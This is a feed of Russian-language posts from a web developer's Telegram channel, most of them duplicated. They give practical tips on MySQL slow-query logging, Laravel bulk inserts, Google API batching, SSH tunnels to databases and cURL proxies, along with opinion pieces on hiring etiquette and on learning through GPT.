Быстрой поиск долгих sql-запросов в MySql
📖 Частенько нужно найти долгие запросы к базе данных, которые могут вызывать проблемы с производительностью и в целом тормозить работу скриптов или всего проекта. Для этого есть много разных инструментов, в том числе и дебаг-режимы внутри фреймворков или отладчики внутри CMS. Но не всегда они спасают, особенно, когда запросов много или под нагрузкой они себя ведут по-другому. Поэтому иногда приходится проверять запросы отдельно от логики бекенда, непосредственно в самом MySql.
📌 Самый простой вариант, это зайти в сам mysql и посмотреть, какие запросы чаще других висят в списке выполняемых и сколько времени они там находятся.
Для этого нужно подключиться к серверу по ssh. И зайти в mysql:
Далее выполнить запрос, который покажет все активные запросы, которые в этот момент выполняются:
Чтобы руками каждый раз не делать запрос, можно сделать просмотр с автообновлением, например, раз в две секунды:
📌 Это костыльный, но самый простой и быстрый вариант поиска долгих запросов. А чтобы по-человечески и полноценно профилировать запросы, можно использовать специальные программы, например mytop. Или включить и посмотреть логи mysql, там фиксируются все запросы, а так же время начала и завершения их выполнения.
Логи mysql часто бывают выключены, чтобы их активировать нужно отредактировать конфиг, чаще всего он лежит тут: /etc/mysql/my.cnf. Но бывает и тут /etc/my.cnf или /usr/local/mysql/my.cnf.
Для активации записи логирования запросов, в конфиге нужно включить флаг general_log и указать путь, куда логи будут записываться:
Далее нужно сохранить файл и перезапустить mysql командой:
#БазаЗнаний
📖 Частенько нужно найти долгие запросы к базе данных, которые могут вызывать проблемы с производительностью и в целом тормозить работу скриптов или всего проекта. Для этого есть много разных инструментов, в том числе и дебаг-режимы внутри фреймворков или отладчики внутри CMS. Но не всегда они спасают, особенно, когда запросов много или под нагрузкой они себя ведут по-другому. Поэтому иногда приходится проверять запросы отдельно от логики бекенда, непосредственно в самом MySql.
📌 Самый простой вариант, это зайти в сам mysql и посмотреть, какие запросы чаще других висят в списке выполняемых и сколько времени они там находятся.
Для этого нужно подключиться к серверу по ssh. И зайти в mysql:
mysql -u ИМЯ_ПОЛЬЗОВАТЕЛЯ_БД -pПАРОЛЬ ИМЯ_БД
Далее выполнить запрос, который покажет все активные запросы, которые в этот момент выполняются:
SELECT * FROM information_schema.PROCESSLIST WHERE COMMAND != 'Sleep' ORDER BY TIME DESC;
Чтобы руками каждый раз не делать запрос, можно сделать просмотр с автообновлением, например, раз в две секунды:
watch -n 2 "mysql -u ИМЯ_ПОЛЬЗОВАТЕЛЯ_БД -pПАРОЛЬ ИМЯ_БД -e \"SELECT * FROM information_schema.PROCESSLIST WHERE COMMAND != 'Sleep' ORDER BY TIME DESC;\""
📌 Это костыльный, но самый простой и быстрый вариант поиска долгих запросов. А чтобы по-человечески и полноценно профилировать запросы, можно использовать специальные программы, например mytop. Или включить и посмотреть логи mysql, там фиксируются все запросы, а так же время начала и завершения их выполнения.
Логи mysql часто бывают выключены, чтобы их активировать нужно отредактировать конфиг, чаще всего он лежит тут: /etc/mysql/my.cnf. Но бывает и тут /etc/my.cnf или /usr/local/mysql/my.cnf.
Для активации записи логирования запросов, в конфиге нужно включить флаг general_log и указать путь, куда логи будут записываться:
[mysqld]
general_log = ON
general_log_file = /var/log/mysql/query.log
Далее нужно сохранить файл и перезапустить mysql командой:
sudo service mysql restart
#БазаЗнаний
👍14
Массовая вставка в БД
📖 Что может быть лучше запроса к базе данных в цикле? Да, только запись в БД внутри двух, а лучше четырех циклов.
На скрине кусок кода из проекта на фреймворке на Laravel. Тут происходит запись данных к четыре разные таблицы БД. Чтобы не вдаваться в подробности, тут достаточно информации, что в общей сложности будет выполнено чуть больше трехсот запросов к БД на создание новых записей.
Уже несколько раз писал в кодревью что, если происходит обращение к базе данных в цикле, значит точно стоит пересмотреть код и переписать, попробовать оптимизировать.
В примере каждый вложенный цикл с записями связан с родительским, из него берется id записи и используется при создании записей внутри более вложенного цикла. Поэтому просто так собрать четыре массива и выполнить 4 запроса будет сложно. Нужно выполнять оптимизацию по порядку. В этом посте разбираем массовую вставку, на конечном цикле, потом вернемся и будем оптимизировать дальше.
📌 Чтобы убрать запись в БД из самого последнего цикла, достаточно воспользоваться массовой вставкой данных. Предварительно собрав их в массив. Чтобы было понятней, чуть порежу код.
Исходный код:
Исправленный код:
То есть все, что нужно сделать, это предварительно собрать данные и записать их одним запросом(insert). В коде используется ORM, но в БД уходит вот такой запрос:
#КодРевью
📖 Что может быть лучше запроса к базе данных в цикле? Да, только запись в БД внутри двух, а лучше четырех циклов.
На скрине кусок кода из проекта на фреймворке на Laravel. Тут происходит запись данных к четыре разные таблицы БД. Чтобы не вдаваться в подробности, тут достаточно информации, что в общей сложности будет выполнено чуть больше трехсот запросов к БД на создание новых записей.
Уже несколько раз писал в кодревью что, если происходит обращение к базе данных в цикле, значит точно стоит пересмотреть код и переписать, попробовать оптимизировать.
В примере каждый вложенный цикл с записями связан с родительским, из него берется id записи и используется при создании записей внутри более вложенного цикла. Поэтому просто так собрать четыре массива и выполнить 4 запроса будет сложно. Нужно выполнять оптимизацию по порядку. В этом посте разбираем массовую вставку, на конечном цикле, потом вернемся и будем оптимизировать дальше.
📌 Чтобы убрать запись в БД из самого последнего цикла, достаточно воспользоваться массовой вставкой данных. Предварительно собрав их в массив. Чтобы было понятней, чуть порежу код.
Исходный код:
foreach ($work->materials as $material) {
$estimateMaterial = new EstimateMaterial();
// [...] тут код наполнениями данными
$estimateMaterial->save(); // запись в БД
}Исправленный код:
// массив под данные, которые сперва соберем
$estimateMaterials = [];
foreach ($work->materials as $material) {
$estimateMaterial = new EstimateMaterial();
// [...] тут код наполнениями данными
// собираем данные
$estimateMaterials[] = $estimateMaterial->toArray();
}
// массовая вставка в БД. Одним запросом
EstimateMaterial::insert($estimateMaterials);
То есть все, что нужно сделать, это предварительно собрать данные и записать их одним запросом(insert). В коде используется ORM, но в БД уходит вот такой запрос:
INSERT INTO
таблица(список полей)
VALUES
(список значений 1),
...
(список значений N)
#КодРевью
👍18❤1
Как не нужно присылать примеры работ
📖 На скрине кусок переписки, как прислали примеры своих работ для оценки скилов – подойдет такой уровень на стажера или нет. На скрин не попало сообщение «Привет», потому что его не было. До отправки файлов мы переписывались, где я пару вопросов задал и попросил прислать самые удачные исходники. Примеры на следующий день были отправлены. Я сам далеко не джентльмен, но элементарные нормы прилучая с незнакомыми людьми нужно соблюдать, хотя бы поздороваться и объяснить, что за махуяр сейчас будет отправлен.
📌 Про то, что свой код можно было залить на github молчу – тут ок, не страшно. Но все примеры можно было собрать в один архив. А папки внутри него переименовать так, чтобы было понятно их содержимое. Дальше по переписке еще несколько архивов было отправлено, примерно с такими же названиями. Ладно, если отправить и несколькими файлами, то нужна пояснительная записка с расшифровкой: что из кода в каком архиве находится. Но в итоге я получаю 4-5 архивов с непонятным названием и непонятным содержимым. Нужно тратить время, чтобы все это скачать и пролезть по всем архивам, понять, что там пытались сделать и для чего.
Это не первый подобный случай, каждый третий молодой и начинающий специалист таким занимается. Складывается впечатление, что подобные ребята просто не понимают, на сколько неуважительно и не красиво выглядят такие выкрутасы и манера общения. Вспоминается сразу классика: «Ты приходишь и просишь меня отсмотреть твои исходники, но ты делаешь это без уважения».
❗️По-хорошему, после такой переписке можно сразу ставить точку в вопросе отбора кандидата и дальше не общаться. Но если продолжить переписку, то каждое предложение будет разбито на 5-7 разрозненных сообщений, без знаков препинания и всего остального, чему учат в школе на уроках русского языка.
Пожалуйста, включайте голову и посмотрите на себя со стороны. На сколько удобно и приятно бы вам самим было читать и обрабатывать такой поток текста и файлов? Подумайте о собеседнике и поберегите его время.
#Мысли
📖 На скрине кусок переписки, как прислали примеры своих работ для оценки скилов – подойдет такой уровень на стажера или нет. На скрин не попало сообщение «Привет», потому что его не было. До отправки файлов мы переписывались, где я пару вопросов задал и попросил прислать самые удачные исходники. Примеры на следующий день были отправлены. Я сам далеко не джентльмен, но элементарные нормы прилучая с незнакомыми людьми нужно соблюдать, хотя бы поздороваться и объяснить, что за махуяр сейчас будет отправлен.
📌 Про то, что свой код можно было залить на github молчу – тут ок, не страшно. Но все примеры можно было собрать в один архив. А папки внутри него переименовать так, чтобы было понятно их содержимое. Дальше по переписке еще несколько архивов было отправлено, примерно с такими же названиями. Ладно, если отправить и несколькими файлами, то нужна пояснительная записка с расшифровкой: что из кода в каком архиве находится. Но в итоге я получаю 4-5 архивов с непонятным названием и непонятным содержимым. Нужно тратить время, чтобы все это скачать и пролезть по всем архивам, понять, что там пытались сделать и для чего.
Это не первый подобный случай, каждый третий молодой и начинающий специалист таким занимается. Складывается впечатление, что подобные ребята просто не понимают, на сколько неуважительно и не красиво выглядят такие выкрутасы и манера общения. Вспоминается сразу классика: «Ты приходишь и просишь меня отсмотреть твои исходники, но ты делаешь это без уважения».
❗️По-хорошему, после такой переписке можно сразу ставить точку в вопросе отбора кандидата и дальше не общаться. Но если продолжить переписку, то каждое предложение будет разбито на 5-7 разрозненных сообщений, без знаков препинания и всего остального, чему учат в школе на уроках русского языка.
Пожалуйста, включайте голову и посмотрите на себя со стороны. На сколько удобно и приятно бы вам самим было читать и обрабатывать такой поток текста и файлов? Подумайте о собеседнике и поберегите его время.
#Мысли
❤26💯7👍4🤯1
Оптимизация запросов к api google
📖 На скрине два куска кода. Верхняя часть из экшена, который выполняет восемь разных действий с папками и папками на диске google drive. Вся работа с файлами на гугловом диске происходит через официальные апи, но с надстройками из сервисных классов. Нижний кусок кода – один из методов, чтобы стало понятнее первая часть.
Сильно вчитываться в код со скрина смысла нет, он больше демонстративный, хоть и из живого примера. Достаточно понимать, что это восемь запросов к api гугла. Причем шесть запросов одинаковых, хоть и с разными параметрами.
📌 Api google drive довольно медленные, например, запрос на создание папки может выполняться от 0.5 до 1-1.2 секунды. Это очень долго. А учитывая, что php, на котором реализована логика, выполняет инструкции по порядку, то эти восемь запросов будут выполняться друг за другом и все это безобразие подвиснет на 8 секунд.
Чтобы ускорить и оптимизировать код, нужно использоваться пакетную отправку запросов. Для всех сервисов от гугла, api умеют собираться в один запрос и отправлять пачкой. В разделе официальной документации для гугл диска не нашел сходу «best practices», или плохо искал или раздел не такой популярный, а вот в документации по работе с гуглоками, такой блок документации есть. И в нем рекомендуют использовать именно пакетные отправки запросов: ссылка. Описанный пример актуален для всех продуктов гугла, а не только docs или drive.
❗️Примечание. Для api, которые лимитированные (платные или бесплатные), не важно, каким образом были сделаны запросы – 10 раз по одному или 10 апи в одном пакете. Лимиты будут посчитаны на основании количества использованных api, то есть 10 раз. Пакеты не помогут сэкономить лимиты.
#КодРевью
📖 На скрине два куска кода. Верхняя часть из экшена, который выполняет восемь разных действий с папками и папками на диске google drive. Вся работа с файлами на гугловом диске происходит через официальные апи, но с надстройками из сервисных классов. Нижний кусок кода – один из методов, чтобы стало понятнее первая часть.
Сильно вчитываться в код со скрина смысла нет, он больше демонстративный, хоть и из живого примера. Достаточно понимать, что это восемь запросов к api гугла. Причем шесть запросов одинаковых, хоть и с разными параметрами.
📌 Api google drive довольно медленные, например, запрос на создание папки может выполняться от 0.5 до 1-1.2 секунды. Это очень долго. А учитывая, что php, на котором реализована логика, выполняет инструкции по порядку, то эти восемь запросов будут выполняться друг за другом и все это безобразие подвиснет на 8 секунд.
Чтобы ускорить и оптимизировать код, нужно использоваться пакетную отправку запросов. Для всех сервисов от гугла, api умеют собираться в один запрос и отправлять пачкой. В разделе официальной документации для гугл диска не нашел сходу «best practices», или плохо искал или раздел не такой популярный, а вот в документации по работе с гуглоками, такой блок документации есть. И в нем рекомендуют использовать именно пакетные отправки запросов: ссылка. Описанный пример актуален для всех продуктов гугла, а не только docs или drive.
❗️Примечание. Для api, которые лимитированные (платные или бесплатные), не важно, каким образом были сделаны запросы – 10 раз по одному или 10 апи в одном пакете. Лимиты будут посчитаны на основании количества использованных api, то есть 10 раз. Пакеты не помогут сэкономить лимиты.
#КодРевью
👍24❤5
SSH-туннель к удаленной базе данных
👨💻 Я прогулял недельку, оставил канал без постов – в отпуске был. Но уже вернулся и лента должна ожить, если не заметет предновогодними делами. Про свои прогулы писал в чате канала, можете подключаться: чат. Сейчас там не много людей, но бывает чат оживает и обсуждаем канал, разработку или просто шутим и делимся новостями.
📖 Теперь к делу. Сегодня пост про ssh-туннели, которые можно быстро создавать для подключения к удаленным портам, чаще всего это порты баз данных, например mysql. Такие обычно порты закрыты для доступа со хостов, кроме локального. И чтобы подключиться к БД, нужно настаивать новый доступ для конкретного IP или запускать на сервере phpMyAdmin или Adminer. Одноко, есть и способ проще – создать ssh-туннель, через который можно подключиться к удаленному сервису.
📌 Пример подключения к mysql через консоль в Linux и MacOs:
Расшифровка:
После запуска команды, нужно будет ввести пароль пользователя ssh и туннель будет создан.
Останется только подключиться к mysql, но используя порт туннеля(1234), вместо 3306. И хост подключения будет локальный: localhost. Логин и пароль не меняются.
📌 Для windows, можно воспользоваться программой putty и через ее консоль проделать тоже самое. Командой в консоле не пробовал, сейчас нет под рукой windows, но в putty точно можно создать туннель прямо из настроек программы.
Если кто-нибудь попробует подключиться на windows с помощью команды в терминале, то сообщите в комментариях) Интересно, сработает или нет.
❗️Такие туннели можно прокидывать к любым портам, не обязательно к mysql, а и к любым другим приложениям и процессам, закрытые «наружу» и доступные только с localhost.
#БазаЗнаний
👨💻 Я прогулял недельку, оставил канал без постов – в отпуске был. Но уже вернулся и лента должна ожить, если не заметет предновогодними делами. Про свои прогулы писал в чате канала, можете подключаться: чат. Сейчас там не много людей, но бывает чат оживает и обсуждаем канал, разработку или просто шутим и делимся новостями.
📖 Теперь к делу. Сегодня пост про ssh-туннели, которые можно быстро создавать для подключения к удаленным портам, чаще всего это порты баз данных, например mysql. Такие обычно порты закрыты для доступа со хостов, кроме локального. И чтобы подключиться к БД, нужно настаивать новый доступ для конкретного IP или запускать на сервере phpMyAdmin или Adminer. Одноко, есть и способ проще – создать ssh-туннель, через который можно подключиться к удаленному сервису.
📌 Пример подключения к mysql через консоль в Linux и MacOs:
ssh -f -N -L 1234:localhost:3306 zhenik@zhenik.beget.tech
Расшифровка:
ssh -f -N -L порт_для_туннеля:хост_бд:порт_бд логин_ssh@удаленный_хост
После запуска команды, нужно будет ввести пароль пользователя ssh и туннель будет создан.
Останется только подключиться к mysql, но используя порт туннеля(1234), вместо 3306. И хост подключения будет локальный: localhost. Логин и пароль не меняются.
📌 Для windows, можно воспользоваться программой putty и через ее консоль проделать тоже самое. Командой в консоле не пробовал, сейчас нет под рукой windows, но в putty точно можно создать туннель прямо из настроек программы.
Если кто-нибудь попробует подключиться на windows с помощью команды в терминале, то сообщите в комментариях) Интересно, сработает или нет.
❗️Такие туннели можно прокидывать к любым портам, не обязательно к mysql, а и к любым другим приложениям и процессам, закрытые «наружу» и доступные только с localhost.
#БазаЗнаний
👍17❤1
Уникальное имя пользователя
📖 На одном проекте, который дорабатываем, долгое время авторизация была реализована через соц.сети и по логину/паролю. Решили для удобства и сбора емейлов, добавить регистрацию и авторизацию через email. Новая форма регистрации состоит из трех полей: имя, email и пароль. Имя нужно для вывода в личном кабинете и для «общения» с пользователем – в сервисе много интерактива, где нужно знать, как зовут авторизованного посетителя.
Чтобы лишнего не переделывать и не добавлять в структуре базы данных и коде, таблицу в БД вообще оставили без изменений, а в коде решили добавить генерацию username(логина). Поле username в БД и моделе пользователя описано, как обязательное и уникальное, поскольку на него завязана авторизация через логин. А поле email, которое по дополнительному способу регистрации, и раньше проверялось на уникальность, только записывались данные не из формы, а при входе через соц.сети, подтягиваясь из аккаунта.
📌 Генерацию username можно реализовать несколькими способами. Самый простой – генерировать уникальный id или хеш. А можно и дублировать email. Решили записывать почту пользователя в username, все равно при входе по емейлу, логин ни где не виден и нужен только для заполнения поля, чтобы не добавлять лишние условия.
Быстро сделали, апнули, проверили – все ок, и пошли заниматься другими задачами. Но спустя время начали появляться жалобы от пользователей, что не получается зарегистрироваться. Стали разбираться в чем дело и нашли опечатку в коде, которую проглядели и на ревью и при мерже. Код на скрине. В username(логин, который должен быть уникальный), вместо емейла записывается first_name(имя пользователя).
📌 Таким образом, на сайте могли зарегистрироваться люди, только с уникальными именами. То есть, при регистрации второй Иван или Петр не мог пройти валидацию по причине того, что его имя уже есть в базе и не является уникальным.
И смешно, и не очень – сервис потерял часть пользователей, не сразу заметили проблему. Зато собрали базу уникальных имен.
#Юмор
📖 На одном проекте, который дорабатываем, долгое время авторизация была реализована через соц.сети и по логину/паролю. Решили для удобства и сбора емейлов, добавить регистрацию и авторизацию через email. Новая форма регистрации состоит из трех полей: имя, email и пароль. Имя нужно для вывода в личном кабинете и для «общения» с пользователем – в сервисе много интерактива, где нужно знать, как зовут авторизованного посетителя.
Чтобы лишнего не переделывать и не добавлять в структуре базы данных и коде, таблицу в БД вообще оставили без изменений, а в коде решили добавить генерацию username(логина). Поле username в БД и моделе пользователя описано, как обязательное и уникальное, поскольку на него завязана авторизация через логин. А поле email, которое по дополнительному способу регистрации, и раньше проверялось на уникальность, только записывались данные не из формы, а при входе через соц.сети, подтягиваясь из аккаунта.
📌 Генерацию username можно реализовать несколькими способами. Самый простой – генерировать уникальный id или хеш. А можно и дублировать email. Решили записывать почту пользователя в username, все равно при входе по емейлу, логин ни где не виден и нужен только для заполнения поля, чтобы не добавлять лишние условия.
Быстро сделали, апнули, проверили – все ок, и пошли заниматься другими задачами. Но спустя время начали появляться жалобы от пользователей, что не получается зарегистрироваться. Стали разбираться в чем дело и нашли опечатку в коде, которую проглядели и на ревью и при мерже. Код на скрине. В username(логин, который должен быть уникальный), вместо емейла записывается first_name(имя пользователя).
📌 Таким образом, на сайте могли зарегистрироваться люди, только с уникальными именами. То есть, при регистрации второй Иван или Петр не мог пройти валидацию по причине того, что его имя уже есть в базе и не является уникальным.
И смешно, и не очень – сервис потерял часть пользователей, не сразу заметили проблему. Зато собрали базу уникальных имен.
#Юмор
😁18❤2👍2🔥1💘1
Нейронки – добро или зло?
📖 За этот год нейросети плотно вошли в жизнь и уже не являются чем-то фантастическим или недоступным. В разработке gpt стал одним из инструментов, помогающим в решении задач.
📌 Но важно понимать, что gpt это просто один из инструментов поиска информации, он не может заменить все остальные. Нейронка не дает 100% верную информацию. Она ошибается, а иногда и придумывает ответы. Любой результат, сгенерированный нейросетью, нужно обрабатывать и дорабатывать. И если нет компетенции проанализировать ответ gpt, то это не приведет ни к чему хорошему. Рано или поздно можно наломать дров с таким подходом к поиску решений.
📌 Мало того, что нейросеть может «обмануть», так она еще может запутать и мешать учиться. Большой статистики у меня нет, пока только несколько прецендентов случилось. Возможно, это частные случаи, но они заставляют задуматься.
Несколько раз уже попались ребята, которые пытались учиться по ответам gpt. Какие-то элементарные вещи понимают, но общую картину не видят, а логику не понимают, после долгого общения с нейросетью. А самое главное, что не развивается навык поиска и анализа информации – что-то нагуглить или откопать в документации является проблемой.
Нейросеть агрегирует информацию из большого количества источников, «переваривает» и отдает уже подготовленный ответ. Это как раз то, что обязательно должен уметь разработчик – анализировать, переваривать и додумывать. Нельзя полностью перекладывать этот процесс на нейронку, иначе толку от такого специалиста ноль. Если не научиться самостоятельно обрабатывать разрозненную информацию и «мержить» ее в нужный результат, то любая не стандартная ситуация будет моментально выбивать из колеи и приводить в ступор.
❗️Я не призываю отказаться от использования gpt, но хочу сказать, что не нужно становиться «оператором нейросети». Нужно учиться и постоянно тренироваться самостоятельно искать информацию и анализировать ее. А при использовании ответов нейронок, вникать в суть и перепроверять предложенные решения.
#Мысли
📖 За этот год нейросети плотно вошли в жизнь и уже не являются чем-то фантастическим или недоступным. В разработке gpt стал одним из инструментов, помогающим в решении задач.
📌 Но важно понимать, что gpt это просто один из инструментов поиска информации, он не может заменить все остальные. Нейронка не дает 100% верную информацию. Она ошибается, а иногда и придумывает ответы. Любой результат, сгенерированный нейросетью, нужно обрабатывать и дорабатывать. И если нет компетенции проанализировать ответ gpt, то это не приведет ни к чему хорошему. Рано или поздно можно наломать дров с таким подходом к поиску решений.
📌 Мало того, что нейросеть может «обмануть», так она еще может запутать и мешать учиться. Большой статистики у меня нет, пока только несколько прецендентов случилось. Возможно, это частные случаи, но они заставляют задуматься.
Несколько раз уже попались ребята, которые пытались учиться по ответам gpt. Какие-то элементарные вещи понимают, но общую картину не видят, а логику не понимают, после долгого общения с нейросетью. А самое главное, что не развивается навык поиска и анализа информации – что-то нагуглить или откопать в документации является проблемой.
Нейросеть агрегирует информацию из большого количества источников, «переваривает» и отдает уже подготовленный ответ. Это как раз то, что обязательно должен уметь разработчик – анализировать, переваривать и додумывать. Нельзя полностью перекладывать этот процесс на нейронку, иначе толку от такого специалиста ноль. Если не научиться самостоятельно обрабатывать разрозненную информацию и «мержить» ее в нужный результат, то любая не стандартная ситуация будет моментально выбивать из колеи и приводить в ступор.
❗️Я не призываю отказаться от использования gpt, но хочу сказать, что не нужно становиться «оператором нейросети». Нужно учиться и постоянно тренироваться самостоятельно искать информацию и анализировать ее. А при использовании ответов нейронок, вникать в суть и перепроверять предложенные решения.
#Мысли
👍22❤4💯1
С Новым Годом!
📖 Канал появился совсем недавно – 1 сентября, всего четыре месяца назад, но уже успело собраться довольное большое сообщество. Это приятно и радостно, спасибо всем подписчикам за это!
📌 Во второй половине декабря посты не так часто выходили, как хотелось бы, но замело предновогодней суетой. Да и режим «по посту каждый день» тяжело поддерживать. Чтобы график выхода публикаций стал регулярным, с 3-5 января посты начнут выходить через день, такой график уже реальней соблюдать.
❗️ И самое главное, ради чего пост – новогоднее поздравление.
Пусть в новом году ваши скрипты и программы будут безупречными, а код работает без багов и ошибок. Желаю вам много интересных и успешных проектов, легкого решения сложных задач и постоянного развития. С Новым годом!
📌 И бонусом поздравление, которое сгенерировала нейронка в стихах:
Пусть ваш код всегда компилируется без ошибок,
Пусть баги никогда не находят ваш путь,
Пусть ваш код всегда будет элегантным и чистым,
Пусть ваше время выполнения всегда будет быстрым.
P.S. К посту приложил статистику канала за 2023 год(1 с сентября по 30 декабря).
📖 Канал появился совсем недавно – 1 сентября, всего четыре месяца назад, но уже успело собраться довольное большое сообщество. Это приятно и радостно, спасибо всем подписчикам за это!
📌 Во второй половине декабря посты не так часто выходили, как хотелось бы, но замело предновогодней суетой. Да и режим «по посту каждый день» тяжело поддерживать. Чтобы график выхода публикаций стал регулярным, с 3-5 января посты начнут выходить через день, такой график уже реальней соблюдать.
❗️ И самое главное, ради чего пост – новогоднее поздравление.
Пусть в новом году ваши скрипты и программы будут безупречными, а код работает без багов и ошибок. Желаю вам много интересных и успешных проектов, легкого решения сложных задач и постоянного развития. С Новым годом!
📌 И бонусом поздравление, которое сгенерировала нейронка в стихах:
Пусть ваш код всегда компилируется без ошибок,
Пусть баги никогда не находят ваш путь,
Пусть ваш код всегда будет элегантным и чистым,
Пусть ваше время выполнения всегда будет быстрым.
P.S. К посту приложил статистику канала за 2023 год(1 с сентября по 30 декабря).
❤13🔥4🎄3👎1
Отправка запроса cURL-ом через прокси
📖 Последние несколько лет тема блокировок довольно актуальная, то РКН блокировал сервисы, теперь и сами сервисы русские ip-шники не пропускают. Приходится постоянно что-то мудрить с VPN и прокси. Если через браузер и установку приложений уже все научились обходить запреты, то с отправкой запросов из кода могут быть сложности.
Для запросов с серверов и хостингов действуют все те же ограничения, что и для пользовательских ПК, поэтому некоторые запросы к сервисам могу точно так же блокироваться и получить ответы от api или спарсить какие-то данные может быть проблемой. Для обхода можно настроить vpn на сервере, чтобы поменять его ip. А можно просто сам запрос пустить через прокси.
📌 Для отправки запроса через прокси удобно использовать cURL, это приложение уже имеет все нужные настройки, достаточно только передать правильные флаги. cURL можно использовать во многих языках программирования, поэтому решение подойдет почти всем. У меня была заготовка на php, поэтому его пример и выкладываю. Чтобы было понятнее, добавил комментарии к коду. И написал тестовый эндпоинт, к которому можно «постучаться» и получить в ответ IP, с которого пишел запрос – проверить, работает прокси или нет.
❗️Код длинноват, в пост не поместится. Залил пример исходников в онлайн-сервис, посмотреть можно тут по ссылке: пример запроса.
В примере используется бесплатный прокси, возможно он уже не актуален будет. Для тестов найти рабочий прокси можно быстро в интернете, вот пример сервиса со списком – первый из гугла: ссылка. Бесплатные прокси только для баловства и отладки можно использовать, в реальных проектах нужно использовать платные или свои, для стабильной работы.
📌 P.S Тестовый эндпоинт, при обращении к которому, можно получить IP-адрес: https://owl-dev.ru/ip-checker/
#БазаЗнаний
📖 Последние несколько лет тема блокировок довольно актуальная, то РКН блокировал сервисы, теперь и сами сервисы русские ip-шники не пропускают. Приходится постоянно что-то мудрить с VPN и прокси. Если через браузер и установку приложений уже все научились обходить запреты, то с отправкой запросов из кода могут быть сложности.
Для запросов с серверов и хостингов действуют все те же ограничения, что и для пользовательских ПК, поэтому некоторые запросы к сервисам могу точно так же блокироваться и получить ответы от api или спарсить какие-то данные может быть проблемой. Для обхода можно настроить vpn на сервере, чтобы поменять его ip. А можно просто сам запрос пустить через прокси.
📌 Для отправки запроса через прокси удобно использовать cURL, это приложение уже имеет все нужные настройки, достаточно только передать правильные флаги. cURL можно использовать во многих языках программирования, поэтому решение подойдет почти всем. У меня была заготовка на php, поэтому его пример и выкладываю. Чтобы было понятнее, добавил комментарии к коду. И написал тестовый эндпоинт, к которому можно «постучаться» и получить в ответ IP, с которого пишел запрос – проверить, работает прокси или нет.
❗️Код длинноват, в пост не поместится. Залил пример исходников в онлайн-сервис, посмотреть можно тут по ссылке: пример запроса.
В примере используется бесплатный прокси, возможно он уже не актуален будет. Для тестов найти рабочий прокси можно быстро в интернете, вот пример сервиса со списком – первый из гугла: ссылка. Бесплатные прокси только для баловства и отладки можно использовать, в реальных проектах нужно использовать платные или свои, для стабильной работы.
📌 P.S Тестовый эндпоинт, при обращении к которому, можно получить IP-адрес: https://owl-dev.ru/ip-checker/
#БазаЗнаний
👍11❤1👎1
Топ публикаций за месяц
📖 Ежемесячная рубрика с 5-ю самыми популярными постами за месяц.
В подборку попадают публикации за прошлый месяц, по количеству реакция плюс количество пересылок в личные сообщения или группы – за каждое действие по одному баллу.
📌 Топ 5 постов за декабрь
1️⃣ Как не нужно присылать примеры работ
Рубрика #Мысли
2⃣ Оптимизация запросов к api google
Рубрика #КодРевью
3⃣ «Дырявый» сайт Renault
Рубрика #Юмор
4⃣ Быстрой поиск долгих sql-запросов в MySql
Рубрика #БазаЗнаний
5⃣ SSH-туннель к удаленной базе данных
Рубрика #БазаЗнаний
#Топ5Месяца
📖 Ежемесячная рубрика с 5-ю самыми популярными постами за месяц.
В подборку попадают публикации за прошлый месяц, по количеству реакция плюс количество пересылок в личные сообщения или группы – за каждое действие по одному баллу.
📌 Топ 5 постов за декабрь
Рубрика #Мысли
Рубрика #КодРевью
Рубрика #Юмор
Рубрика #БазаЗнаний
Рубрика #БазаЗнаний
#Топ5Месяца
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13👍1
Олды на месте?
📣 Отменяю режим молчания!
Это попытка реанимировать канал спустя 559 дней. Прошлый раз посты перестали выходить из-за того, что больше нечего было сказать, а высасывать из пальца не хотелось, к тому же я перестарался с графиком – каждый день по заметке оказалось не просто публиковать и в какой-то момент просто надоело и перестало приносить интерес и удовольствие, превратилось в не приятную рутину. Но теперь ошибки учтены, а за полтора года скопилось достаточно идей и интересных случаев, о которых хочется рассказать.
❗️ Формат останется прежним – заметки на тему разработки и всем, что с ней связано. Однако регулярность выхода уже никак не регламентирую, большим успехом будет выход 1-2 записей в неделю.
🚩 Хоть основная тематика канала и останется прежней, но появятся и новые категории, которыми я стал интересоваться относительно недавно – CTF (Capture The Flag), это соревнования по информационной безопасности, где участники соревнуются в решении задач, связанных с поиском уязвимостей, криптографией, реверс-инжинирингом и другими аспектами кибербезопасности. Считаю это интересной и важной частью разработки, и за последние полгода скопил достаточно информации, которой можно поделиться.
👋 Из двух тысяч подписчиков за полтора года осталось всего 990, и после этого поста еще часть отпишется. Но остальным — «Привет!». Скоро посты начнут выходить. Не переключайтесь!
Это попытка реанимировать канал спустя 559 дней. Прошлый раз посты перестали выходить из-за того, что больше нечего было сказать, а высасывать из пальца не хотелось, к тому же я перестарался с графиком – каждый день по заметке оказалось не просто публиковать и в какой-то момент просто надоело и перестало приносить интерес и удовольствие, превратилось в не приятную рутину. Но теперь ошибки учтены, а за полтора года скопилось достаточно идей и интересных случаев, о которых хочется рассказать.
❗️ Формат останется прежним – заметки на тему разработки и всем, что с ней связано. Однако регулярность выхода уже никак не регламентирую, большим успехом будет выход 1-2 записей в неделю.
👋 Из двух тысяч подписчиков за полтора года осталось всего 990, и после этого поста еще часть отпишется. Но остальным — «Привет!». Скоро посты начнут выходить. Не переключайтесь!
Please open Telegram to view this post
VIEW IN TELEGRAM
3🔥50🎉9👍8👾3❤2 2👀1
559 дней за один два поста. Часть 1
😞 В январе 2024 года стало понятно, что писать каждый день в канал мне надоело и не интересно, все самое веселое и не стандартное уже описано, а повторяться только ради очередного поста не было желания. К тому же качество явно бы стремилось вниз. И тогда я просто бросил без всяких объявлений. К тому же по работе прилично было забот, которые закружили и быстро унесли в другое русло.
😁 Но спустя полгода стало скучно, захотелось новых приключений, и в какой-то момент я наткнулся на CodeRun от Яндекса. Это был второй (2024 года) сезон по соревнованиям среди разработчиков разных направления: бекенд, фронт, мобилка, ml и аналитика. Яидентифицирую причисляю себя к бекендерам. И участвовать в секции бека показалось скучным, поэтому решил пойти на секцию фронтенда. Заодно и навыки по js подтянуть, и в целом с фронтом поглубже разобраться. Соревнование длилось 2 месяца – с 27 июня по 27 августа. Нужно было решить 29 задач, которые открывались порциями каждую 1-2 недели. В итоге я занял там 5-е место, отстав от победителя на 5 часов, решив все 29 задач. Из всех участников только 13 смогли решить полный набор. А победителями секции считались топ-20.
